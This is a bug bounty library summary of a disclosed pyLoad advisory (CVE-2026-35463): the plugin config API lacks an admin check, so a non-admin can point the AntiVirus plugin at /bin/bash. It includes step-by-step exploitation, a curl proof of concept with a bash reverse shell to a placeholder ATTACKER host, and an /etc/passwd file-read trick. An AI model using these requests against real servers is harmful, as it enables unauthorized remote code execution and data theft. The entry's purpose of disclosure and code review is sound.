# pyLoad: Improper Neutralization of Special Elements used in an OS Command

pyLoad's ADMIN_ONLY_OPTIONS guard covers only core config, so a non-admin with SETTINGS can point the AntiVirus plugin's avfile at /bin/bash and get RCE.

- Payout: Research
- Severity: high
- Program: pyLoad
- Found by: axel-corsiez
- Disclosed: 2026-04-04
- CVE: CVE-2026-35463
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w48f-wwwf-f5fr
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-w48f-wwwf-f5fr
- Tags: area:web domain:web impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:command-injection vuln:path-traversal vuln:rce

**Target:** pyLoad web API set_config_value / AntiVirus plugin
**Root cause:** set_config_value enforces ADMIN_ONLY_OPTIONS only for core config; the plugin branch calls config.set_plugin with no admin check, and AntiVirus passes the user-controlled avfile/avargs straight to subprocess.Popen.
**Steps:**
1. As non-admin with SETTINGS, POST /api/set_config_value with `section=plugin`, `option=AntiVirus.avfile`, `value=/bin/bash`
2. POST `option=AntiVirus.avargs`, `value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"`
3. POST `option=AntiVirus.activated`, `value=True`
4. POST /api/add_package with a link; on completion AntiVirus.scan_file() runs Popen([avfile, avargs, target])
5. Reverse shell as the pyload process user
**How found:** Code review of the ADMIN_ONLY_OPTIONS allowlist: noticed the guard is applied in the core config branch of set_config_value but the plugin config branch has no admin check, then traced plugin options to a subprocess.Popen sink in AntiVirus.
**Exploitation:** Authenticated non-admin with SETTINGS permission rewrites the AntiVirus plugin's executable and args via the plugin config API, enables the plugin, then triggers a download so scan_file invokes subprocess.Popen with the attacker's binary and arguments, yielding a reverse shell as the service user.
**Escalation:** SETTINGS permission (non-admin) escalates to full system RCE; separately, storage_folder=/ plus GET /files/get/etc/passwd gives arbitrary file read with SETTINGS+DOWNLOAD.
**Insight:** When an app has a sensitive-option allowlist, check every config write path — plugin/extension config setters often bypass the core guard; grep plugin options for sinks like subprocess, file paths and certs.

## Proof of concept (copied exactly from the original report)

**curl requests setting AntiVirus avfile/avargs to reverse shell**

```
curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avfile' \
  -d 'value=/bin/bash'

curl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \
  -d 'section=plugin' \
  -d 'option=AntiVirus.avargs' \
  -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
```

